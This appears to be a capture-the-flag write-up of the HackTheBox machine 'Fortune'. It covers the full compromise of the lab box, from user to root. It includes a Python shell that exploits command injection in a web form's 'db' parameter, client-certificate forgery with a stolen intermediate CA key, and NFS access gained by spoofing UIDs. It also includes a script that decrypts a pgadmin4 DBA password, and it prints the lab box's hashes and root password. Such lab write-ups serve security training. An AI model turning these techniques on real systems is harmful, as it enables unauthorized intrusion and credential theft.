
Fortune is a just retired Insane rated box which is actually my first owned machine in this range of difficulty and it ended up being easier than I expected. In my opinion, this box was perfectly designed and it was an awesome ride from start to finish, very enjoyable.
This is an OpenBDS box that includes aspects related to public/private keys, certificates, authpf, NFS shares and pgadmin4.
user.txt
Enumeration
An initial nmap scan shows the following results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
| 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp open http OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open ssl/https?
|_ssl-date: ERROR: Script execution failed (use -d to debug)
Port 443 asks us for a client certificate to authenticate and port 80 gives us the following simple website:

If we request any of the databases, using a proxy we can see the following:

Exploitation: RCE through Command Injection
Messing with the db
parameter is the way to go, we can indeed pipe our evil commands allowing us RCE. The user running the webserver is _fortune and thepasswd
file shows us three more interesting users: bob, charlie and nfsuser.

In order to make it easy for me, I wrote a simple “shell” using Python to exploit the RCE, although we could just use some reverse shell if we pleased.
#!/usr/bin/python # -*- coding: utf-8 -*- # Simple Spaghetti RCE Shell by Darahh from os import system import requests from bs4 import BeautifulSoup import re url = "http://10.10.10.127/select" #Initial path PATH = "/" while True: raw = raw_input("%s> " % (PATH)) if raw == "clear": system(raw) continue elif raw == "exit": print "Exiting RCE shell..." break data = {'db':'whatever;cd %s; %s ; echo "####"; echo -n "---PATH---";echo -n $(pwd);echo -n ---PATH---' % (PATH,raw) } response = requests.post(url, data=data) #Split the response so have have the actual command and the path info separated response = response.content.split("####") #Update PATH PATH = re.search('---PATH---(.*)---PATH---',response[1]).group(1) #Parse the response and print the output of the command source = BeautifulSoup(response[0], "lxml") RCEoutput = source.find("pre").getText() print RCEoutput
Playing with certificates
After enumerating for a while, in bob
‘s home directory we find information related to openssl configuration and a bunch of certificates. The important files for us are intermediate.cert.pem
and intermediate.key.pem
which could allow us to create and sign our own keys and let us authenticate in port 443 finally.
/home/bob/ca> ls -l
total 48
drwxr-xr-x 2 bob bob 512 Oct 29 2018 certs
drwxr-xr-x 2 bob bob 512 Oct 29 2018 crl
-rw-r--r-- 1 bob bob 115 Oct 29 2018 index.txt
-rw-r--r-- 1 bob bob 21 Oct 29 2018 index.txt.attr
-rw-r--r-- 1 bob bob 0 Oct 29 2018 index.txt.old
drwxr-xr-x 7 bob bob 512 Nov 3 2018 intermediate
drwxr-xr-x 2 bob bob 512 Oct 29 2018 newcerts
-rw-r--r-- 1 bob bob 4200 Oct 29 2018 openssl.cnf
drwx------ 2 bob bob 512 Oct 29 2018 private
-rw-r--r-- 1 bob bob 5 Oct 29 2018 serial
-rw-r--r-- 1 bob bob 5 Oct 29 2018 serial.old
/home/bob/ca> ls -l intermediate/certs
total 24
-r--r--r-- 1 bob bob 4114 Oct 29 2018 ca-chain.cert.pem
-r--r--r-- 1 bob bob 1996 Oct 29 2018 fortune.htb.cert.pem
-r--r--r-- 1 bob bob 2061 Oct 29 2018 intermediate.cert.pem
/home/bob/ca> ls -l intermediate/private
total 12
-r-------- 1 bob bob 1675 Oct 29 2018 fortune.htb.key.pem
-rw-r--r-- 1 bob bob 3243 Oct 29 2018 intermediate.key.pem
In this case, I just use the private key and the certificate that we borrow from bob
to get our authentication. I create a new PKCS12 certificate which will be added to the clients certificates in our web browser configuration.
openssl pkcs12 -export -in intermediate.cert.pem -inkey intermediate.key.pem -out fortune.cert.p12
After importing the certificate and authenticating, we get to the site /generate
which is titled “authpf ssh access” and where we can generate a pair of keys to log via SSH.

This keys gives us a SSH session, however we can not type any commands.
darahh@hackiit# ssh -i fortune.pkey nfsuser@10.10.10.127
Last login: Thu Aug 1 21:25:47 2019 from 10.10.12.42
Hello nfsuser. You are authenticated from host "10.10.14.62"
This is because we actually have authenticated to Authpf, which, shortly, will allow new traffic to reach us while our session is open since we are now logged in.
We can prove this by doing a quick port scan. As we see, there are some new services.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
| 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp open http OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3 2049/tcp nfs
| 100003 2,3 2049/udp nfs
| 100005 1,3 833/udp mountd
|_ 100005 1,3 985/tcp mountd
443/tcp open ssl/https?
|_ssl-date: ERROR: Script execution failed (use -d to debug)
2049/tcp open nfs 2-3 (RPC #100003)
8081/tcp open http OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: pgadmin4
Network File System (NFS)
We start enumerating this service by looking for which directory is being shared across the network and mounting it on our system.
darahh@hackiit# showmount -e 10.10.10.127
Export list for 10.10.10.127:
/home (everyone)
darahh@hackiit# mount 10.10.10.127:/home /mnt/nfs-share/
darahh@hackiit# ls -l /mnt/nfs-share/
total 6
drwxr-xr-x 5 bob charlie 512 Nov 3 2018 bob
drwxr-x--- 3 charlie demo 512 Nov 6 2018 charlie
drwxr-xr-x 2 demo bob 512 Nov 3 2018 nfsuser
The way to get around this is pretty simple. NFS checks permissions comparing the UID/GID of the owner in the server and client user. Based on this, if we check /etc/passwd
the UID/GID of the users, we could create users with such IDs in our system and examine the files.
This way we get the user.txt
file.
charlie@hackiit$ ls -l
total 4
-rw------- 1 charlie demo 608 Nov 3 2018 mbox
-r-------- 1 charlie demo 33 Nov 3 2018 user.txt
charlie@hackiit$ wc -c user.txt
33 user.txt
Also, adding our public key to /home/charlie/.ssh/authorized_keys
will get us a stable SSH session as user charlie
to continue our way into the box.
root.txt
Enumeration
Once we are inside the box as charlie
we can find an email from bob
in the home directory.
Hi Charlie,
Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.
Cheers,
Bob
The situation is clear, there is a PostgreSQL database running managed using pgadmin4 so we need to obtain the DBA password and crack it in order to get access to root
user.
Our first find is the database which we can locate in /var/appsrv/pgadmin4/pgadmin4.db
and we can easily extract it to our local system using scp
. To examine the database we can use sqlitebrowser
, sqlite3
or we could simply use strings
and see what’s good.
We can find what it seems to be threes hashes from user passwords, bob
, charlie
and the postgresdba
.
bob@fortune.htb$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
charlie@fortune.htb$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ
postgresdba utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz
Once reached this point we could throw the hashes inside jhon
or hascat
and pray for them to do their job, but we are going to need to reverse the code of the application a little bit to understand how the connections and encryption/decryption are working.
For example, in the file /usr/local/pgadmin4/pgadmin4-3.4/web/pgadmin/utils/driver/psycopg2/connection.py
which implements the connections handling we find some differences from the official project hosted at Github.
In the connection
function around line 260, we can see the following:

The decryption of the password is being done by using the encrypted password and some encryption key, but in Fortune it is done by using the current user password as encryption key.

Decrypting DBA password
Since we don’t need to crack any of the hashes that we have, we can simply decrypt dba
‘s password by using bob
‘s hash as decryption key.
Based on the crypto implementation found in the same pgadmin4 project inside Fortune (/usr/local/pgadmin4/pgadmin4-3.4/web/pgadmin/utils/crypto.py
) we can achieve this task by doing some simple modifications.
import base64 import hashlib from Crypto import Random from Crypto.Cipher import AES padding_string = b'}' def pad(key): """Add padding to the key.""" global padding_string str_len = len(key) # Key must be maximum 32 bytes long, so take first 32 bytes if str_len > 32: return key[:32] # If key size id 16, 24 or 32 bytes then padding not require if str_len == 16 or str_len == 24 or str_len == 32: return key # Convert bytes to string (python3) if not hasattr(str, 'decode'): padding_string = padding_string.decode() # Add padding to make key 32 bytes long return key + ((32 - str_len % 32) * padding_string) def decrypt(ciphertext, key): """ Decrypt the AES encrypted string. Parameters: ciphertext -- Encrypted string with AES method. key -- key to decrypt the encrypted string. """ global padding_string ciphertext = base64.b64decode(ciphertext) iv = ciphertext[:AES.block_size] cipher = AES.new(pad(key), AES.MODE_CFB, iv) decrypted = cipher.decrypt(ciphertext[AES.block_size:]) return decrypted #DBA encrypted password dba = 'utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz' #Bob's hashed password which we are using as decryption key key = '$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg' output = decrypt(dba,key) print output
Running the script will give us the following output.
darahh@hackiit# python decrypt.py
R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!
Now we can just su root
in charlie
‘s SSH session and get our precious root.txt
.
fortune# whoami
root
fortune# wc -c root.txt
33 root.txt
Recent Comments